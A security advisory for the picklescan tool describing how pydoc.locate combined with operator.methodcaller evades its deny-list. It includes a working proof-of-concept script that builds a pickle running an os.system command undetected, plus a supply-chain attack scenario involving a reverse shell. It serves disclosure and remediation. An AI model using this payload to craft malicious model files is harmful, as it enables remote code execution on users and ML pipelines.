GHSA-84r2-jw7c-4r5q: picklescan: Allowlist Bypass evades input filtering

### Summary Currently picklescanner only blocks some specific functions of the pydoc and operator modules. Attackers can use other functions within these allowed modules to go through undetected and achieve RCE on the final user. Particularly * pydoc.locate: Can dynamically resolve and import arbitrary modules (e.g., resolving the string "os" to the actual os module). * operator.methodcaller: Allows executing a method on an object. When combined with a resolved module object, it can execute functions like system. Since locate and methodcaller are not explicitly listed in the deny-list, picklescan treats them as "Safe" or "Suspicious" (depending on configuration) but does not flag them as "Dangerous", allowing the malicious file to bypass the security check. ### PoC use the provided script to create a malicious pickle file ```python import pickle import pydoc import operator import os class ModuleLocator: def __init__(self, module_name): self.module_name = module_name def __reduce__(self): return (pydoc.locate, (self.module_name,)) class RCEPayload: def __reduce__(self): cmd = "notepad" #put your payload here mc = operator.methodcaller("system", cmd) return (mc, (ModuleLocator("os"),)) def generate_exploit(): payload = RCEPayload() try: with open("bypass.pkl", "wb") as f: f.write(pickle.dumps(payload)) print("File 'bypass.pkl' created.") except Exception as e: print(f"Error: {e}") if __name__ == "__main__": generate_exploit() ``` The generated payload will not be flagged as dangerous by picklescan but is actually malicious. ```python import pickle print("Loading bypass.pkl...") pickle.load(open("bypass.pkl", "rb")) ``` Script to open the pickle file, demonstrating impact <img width="746" height="341" alt="image" src="https://github.com/user-attachments/assets/2be1b8f9-d467-408d-b1cf-d40b49100cf0" /> ### Remediation The deny-list for these modules must be upgraded from specific functions to a wildcard (*), indicating that any use of these modules is dangerous.

Attacker targets an organization with an automated MLOps pipeline that pulls pre-trained models from a public registry and scans them with picklescan before loading. The attacker publishes a malicious model to Hugging Face or injects into an internal registry, embedding a pydoc.locate + operator.methodcaller payload that resolves os.system and executes a reverse shell. picklescan v< 0.0.33 rates the file as Safe. The CI/CD pipeline loads the model into the training cluster. The attacker now has RCE on GPU infrastructure with access to proprietary model weights, training data, and the ability to inject backdoors into production models before they are deployed.